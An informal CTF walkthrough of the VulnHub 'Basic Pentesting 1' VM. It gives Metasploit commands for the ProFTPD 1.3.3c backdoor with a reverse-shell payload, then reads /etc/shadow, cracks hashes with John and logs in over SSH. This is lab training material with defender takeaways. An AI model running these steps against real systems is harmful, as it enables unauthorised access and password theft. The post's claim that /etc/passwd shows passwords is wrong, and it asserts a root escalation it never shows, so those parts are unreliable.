Basic Pentesting 1 Walkthrough

A walkthrough for the Basic Pentesting 1 virtual machine, available from VulnHub.

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Hey, I’m Kevin — I run hackwithkevin, a cybersecurity & ethical hacking brand where I share CTF walkthroughs, Linux classes, and beginner-friendly hacking content in Telugu + English.

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This walkthrough is part of my hands-on CTF practice as I build toward a career in penetration testing / offensive security.

Difficulty level: Easy
Aim: attack the VM and gain root privileges
Author: Josiah Pierce

Download: https://www.vulnhub.com/entry/basic-pentesting-1,216/

Information Gathering

The first step is to find the IP address of the target machine, which can be located using netdiscover:

netdiscover -i eth1 -r 192.168.56.100/24

its take to much time for my pc soo i skip that but i get the ip address {192.168.56.106}

We can then run a basic nmap scan against the target to discover open ports and services:

nmap -A -p- 192.168.56.106

From this we can see the following ports and services:

• port 21/tcp — FTP — (ProFTPD 1.3.3c)
• port 22/tcp — SSH — (OpenSSH 7.2p2 Ubuntu)
• port 80/tcp — HTTP — (Apache httpd 2.4.18)

searchsploit can be used to run a quick search against the version of ProFTP running on the target:

This search reveals a backdoor RCE vulnerability in ProFTPD 1.3.3c which could be exploited easily

ProFTPD 1.3.3c has a known backdoor vulnerability, so the next step is exploiting it.

Exploiting the ProFTPD Backdoor

Both results point to the same issue: the ProFTPD 1.3.3c source code was compromised, and a backdoor was planted in it — allowing unauthenticated remote command execution. I’ll use the Metasploit module since it handles the backdoor trigger and gives a clean shell.

• run the metasploit

msfconsole

search ProFTPD 1.3.3C

• use the backdoor number 0

use 0

show options

set rhost 192.168.56.106 (this ip is my target)

• now set the payload sooo we use

show payloads 

we need revers connnection so we use payload number 4

set payload 4)

show options 

set lhost 192.168.56.104 (this ip is my kali ip .... we need to keep this ip  for get the revers connection to my kali linux

now everything is good just use the command run

run

seee i get the revers connection the command shell session 1 opened

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sooo now i just verify with the help of the ls command and whoami

see the output

soo i get the access of the target pc

• now i want to know that pass so i see the passwd with the help of the command

cat /etc/shadow

• see i get the passwd in hash formet soo with the help of the john the rapper tool i crack the pass word
• just copy the hash and creat a file
• next use the john tool to crack the password

other ways u can see the passwd directly

cat /etc/passwd

i get the user name and passwd

• now with the help of ssh i login to the target pc

ssh marlinspike@192.168.56.106

finally i login into my target sooo just check and verify evrything

Conclusion

Basic Pentesting 1 is a great example of how outdated, compromised software can hand over a box with almost no effort:

• A quick searchsploit lookup revealed ProFTPD 1.3.3c had a known backdoor baked into its source.
• The Metasploit module exploited that backdoor directly — no credentials, no complex chaining required.
• Once inside, escalating to root was the final step to fully compromise the machine.

Takeaways for defenders:

• Always verify the integrity of third-party software before deploying it — this exact backdoor came from a compromised source download.
• Keep services like FTP patched and updated; version 1.3.3c has been flagged for years.
• Run regular vulnerability scans (searchsploit, Nessus, etc.) against exposed services to catch known CVEs early.

Thanks for reading — happy hacking!

📲 Follow @hackwithkevin_ on Instagram for more hacking walkthroughs and cybersecurity resources.
📺 YouTube: @hackwithkevin — live Linux classes & hacking tutorials in Telugu + English.

About the author — I’m Kevin, I post CTF walkthroughs and hacking content as @hackwithkevin_. Follow along for more writeups like this one.

Tools used: searchsploit, Metasploit